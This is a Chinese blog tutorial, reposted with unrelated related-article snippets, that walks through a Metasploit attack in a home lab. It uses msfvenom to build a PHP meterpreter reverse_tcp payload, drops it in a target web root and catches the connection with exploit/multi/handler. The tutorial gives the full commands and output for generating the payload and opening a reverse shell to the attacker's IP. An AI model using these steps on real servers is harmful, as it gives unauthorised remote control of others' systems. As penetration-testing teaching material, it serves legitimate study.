Metasploit中meterpreter/reverse_tcp+exploit/multi/handler攻击实战教程

2023-10-26

由于是实战,肯定要一个服务器对吗?为了不搞破坏,我这里就不用服务器了。我现在已经用另一台电脑搭建了一个网站(用phpstudy快速搭建的),这台电脑IP是:192.168.1.103;

我用的是渗透测试系统Kali Linux,由于此系统是自带Metasploit,我的Kali Linux系统IP是:192.168.40.132,并且能够通过火狐浏览器正常访问到192.168.1.103;如下图:

 

目标机:192.168.1.103

攻击机:192.168.40.132

 

一、生成一个payload

由于我们搭建的是PHP网站,这里我就直接用“msfvenom”来生成一个PHP的payload。当然,你也可以生成其它类型的,例如:Python、JavaScript、Linux、Java、Android、Windows等等。

命令如下:

root@kali:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.40.132 LPORT=168 -f raw -o /root/x.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1114 bytes
Saved as: /root/x.php

注意:以上是直接以 raw 的形式保存成文件,只要目标进行了访问,就会反弹回 shell 。

 

二、将以上生成的payload放到目标机器并让其执行

我这里就直接把“/root/x.php”放到“192.168.1.103”网站根目录下吧,并用浏览器打开“192.168.1.103/x.php”网页。显示以下效果,说明还没有socket连接!

 

三、配置一个反弹shell会话处理程序

msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.40.132
LHOST => 192.168.40.132
msf exploit(multi/handler) > set LPORT 168
LPORT => 168
msf exploit(multi/handler) > exploit

 

当目标机器成功执行“192.168.1.103/x.php”这个payload后我们就取得了一个 meterpreter shell,由于我们是PHP网站实战,因此这个“192.168.1.103/x.php”谁去执行都可以,只要你能打开它。

 

四、meterpreter shell权限

我们可以通过命令“getuidsysinfoshell”等来做不同的操作。具体就不详细讲解了,总之一句话,现在我们已经得到了192.168.1.103的shell了。

 

注意:由于我中途网络出了点问题,VM虚拟机连接不上网了,我做了一下”虚拟机网络编辑器 - 还原默认设置“,因此我的虚拟机IP由192.168.40.132变成了192.168.174.128;所以:后面的命令和图片有些对应不上,我也懒得改IP了。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Metasploit中meterpreter/reverse_tcp+exploit/multi/handler攻击实战教程 的相关文章

  • 我开游戏要用什么服务器比较好

    随着互联网的高速发展 游戏行业也随之火爆 那么该怎么选择服务器来保障自身的游戏业务正常运转呢 市场上的服务器大致分为云服务器和物理服务器 云服务器是由大型功能强大的物理设备中分割出来的 是一种简单高效 安全可靠 处理能力可弹性伸缩的计算服务
  • 使用 FPGA 评估板学习 VHDL

    特点 使用 Arrow 经济实惠且适合面包板的 FPGA 开发板 BeMicro MAX 10 创建光传感器 温度传感器 运动传感器和汽车显示器 学习 FPGA 和电子学背后的理论 包括理解正在发生的事情所需的数学和逻辑 了解什么是 FPG
  • 写一个0-10000偶数和

    以下是一个计算0到10000的所有偶数的和的程序 sum 0 for i in range 0 10001 2 sum i print 0 10000的偶数和为 sum 答案为 250050
  • C++ 用libcurl库进行http通讯网络编程

    目录索引 一 LibCurl基本编程框架 二 一些基本的函数 三 curl easy setopt函数部分选项介绍 四 curl easy perform 函数说明 error 状态码 五 libcurl使用的HTTP消息头六 获取http
  • 基于Flask的模型部署

    基于Flask的模型部署 一 背景 Flask 一个使用Python编写的轻量级Web应用程序框架 首先需要明确模型部署的两种方式 在线和离线 在线 就是将模型部署到类似于服务器上 调用需要通过网络传输数据 再将结果返回 离线 就是将模型直

随机推荐

  • 前天 和分公司负责人聊天 他觉得进度慢 员工还疲惫 还没效益 我说 需要组件式开发 他觉得有道理 我不管别人怎么办了 我打算在osg osgearth基础上开发个平台 或许三五年 或许十年二十年 或许半途而废 谁知道呢
  • 大数据应用实践1:基于开源架构的股票行情分析与预测

    股票市场行情分析与预测一直是数据分析领域里面的重头戏 确切地说IT行业的每一次重大发展的幕后推动者以及新产品 特别是高端产品 的最先尝试者都包含金融行业 特别是证券交易市场 它符合大数据的四大特征 交易量大 频率高 数据种类多 价值高 在本
  • SolidJS——前端新秀框架,性能直逼原生JS

    SolidJS 是什么 SolidJS是一个声明式 高效且灵活用于构建用户界面的 JavaScript 库 Solid 号称拥有 JSX 语法 类似于 React hook 的语法 你可以用现代化的开发方式 获得性能最快的代码 一 性能比较
  • 二分查找的循环条件为什么是left小于等于right,而不是left小于right

    我的疑问是为什么不能是简单的小于 而要加个等于 我们来考虑一下下面这种情况 我们判断整数1是否位于数组a 2 0 1 里面 如果循环条件是left
  • Django解决跨域请求的问题

    自己开发调试django的时候 前端向后端发送请求时每次都会出现跨域请求的问题 但后端向前端传递参数不会报错 记录一下这个问题的解决方案 报错原文 已拦截跨源请求 同源策略禁止读取位于 http localhost 8000 predict
  • 二分法总结

    findN 寻找某个数在递增序列里 找不到返回 1 def findN nums n i 0 j len nums 1 while i lt j middle i j i 2 if nums middle n return True ret
  • Java中对象比较

    如果现在要想确定两个对象是否相等 那么应该比较的是对象的完整信息 而对象的完整信息就是对象的属性 所以所谓的对象比较指的就是两个对象的属性进行比较 对象比较的实现形式一 class Person private String name pr
  • 图解使用两块 Survivor 区的原因

    如果只使用一块 Survivor 区 当发生一次 Minor GC 时 回收 Eden 区的垃圾 把存活的对象复制到 Survivor 区 如下图 ok 目前看起来并没有什么区别 但是当发生第二次 Minor GC 时 问题就出现了 我们来
  • Kerberos认证流程及基本操作

    一 Kerberos的三个角色 Kerberos主要是有三个重要的角色 1 访问服务的Client 2 提供服务的Server 3 KDC Key Distribution Center 密钥分发中心 其中报错AS authorizatio
  • vim 的 auto-pairs 设置

    https github com jiangmiao auto pairs 转载于 https www cnblogs com zach0812 p 11514673 html
  • RestTemplate详细配置及日志打印

    目录 1 RestTemplate配置类 2 RestTemplateLog拦截器类 3 使用 1 RestTemplate配置类 包括连接池 超时时间 拦截器 异常处理 字符集 response多次读取 使用httpclient进行配置
  • node.js中时间戳和日期之间的转换

    今天在做项目的时候遇到可需要在时间戳和日期之间转换的问题 忙了很长时间 这里总结记录一下 首先 我们来了解一下js里面的Date对象 Date对象是JavaScript提供的日期和时间的操作接口 它有多种用法 1 new Date mill
  • 解决Windows10中Virtualbox安装虚拟机没有64位选项

    今天想在Windows 10系统安装完Virtualbox虚拟机 然后打算装一个CENTOS系统 但是选择安装系统的时候竟然没有64位操作系统的选项 经过一阵Google 终于解决了 在这里盘点一下出现这种情况的几种原因 解决Windows
  • 《深度学习入门》(鱼书)笔记 第一章 Python入门

    coding utf 8 class Man 示例类 示例类 def init self name self name name print Initilized def hello self print Hello self name d
  • Springboot缓存 注解@CachePut,@Cacheable,@CacheEvict 的作用及用法。

    在Spring Boot中 提供了一些用于缓存处理的注解 包括 CachePut Cacheable 和 CacheEvict 这些注解可以帮助简化缓存操作 并与底层缓存框架 如Ehcache Redis等 集成使用 1 CachePut
  • jenkins部署聚合项目报错[FATAL] Non-resolvable parent POM for xxx: Could not find artifact xxx

    项目改为聚合工程后使用jenkins部署时报错 如下 ERROR The build could not read 2 projects gt Help 1 org apache maven project ProjectBuildingE
  • 蓝桥杯 全球变暖【BFS】

    题目链接 AcWing 1233 全球变暖 你有一张某海域 N N像素的照片 表示海洋 表示陆地 如下所示 其中 上下左右 四个方向上连在一起的一片陆地组成一座岛屿 例如上图就有 2座岛屿 由于全球变暖导致了海面上升 科学家预测未来几十年
  • HTML5网页播放pcm语音流 VUE JS播放pcm语音流

    git源码地址 https github com SunnyWoo pcm voice git 效果图 将下面的组件文件直接放到我们的vue项目中运行即可看到效果
  • 计算机的工作原理

    文章目录 前言 一 计算机组成 二 工作原理 1 首先指令输入 由鼠标 键盘完成 2 计算机对指令 输出的处理 由CPU完成 3 计算机对信息的储存 由内存 磁盘完成 4 计算机输出信息 由显卡 显示器完成 总结 前言 电脑最直白 人话的描
  • Metasploit中meterpreter/reverse_tcp+exploit/multi/handler攻击实战教程

    由于是实战 肯定要一个服务器对吗 为了不搞破坏 我这里就不用服务器了 我现在已经用另一台电脑搭建了一个网站 用phpstudy快速搭建的 这台电脑IP是 192 168 1 103 我用的是渗透测试系统Kali Linux 由于此系统是自带